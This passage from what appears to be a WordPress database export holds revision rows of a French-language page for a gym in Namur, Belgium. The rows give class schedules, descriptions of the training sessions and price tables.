poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:41:03', '2014-08-31 08:41:03', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(454, 1, '2014-08-31 08:36:41', '2014-08-31 08:36:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:36:41', '2014-08-31 08:36:41', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(492, 3, '2015-09-02 16:57:19', '2015-09-02 16:57:19', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/Capture-d’écran-2015-09-02-à-18.56.23.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-491\&quot; alt=\&quot;Capture d’écran 2015-09-02 à 18.56.23\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/Capture-d’écran-2015-09-02-à-18.56.23-300x211.png\&quot; width=\&quot;300\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 16:57:19', '2015-09-02 16:57:19', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(483, 1, '2015-04-21 09:55:06', '2015-04-21 09:55:06', '&lt;h1&gt;Small Group Training:&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot; valign=\&quot;center\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;center&gt;&lt;img class=\&quot;alignnone size-full wp-image-464\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills1.png\&quot; width=\&quot;130\&quot; /&gt;&lt;/center&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-04-21 09:55:06', '2015-04-21 09:55:06', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(456, 1, '2014-08-31 08:43:46', '2014-08-31 08:43:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: 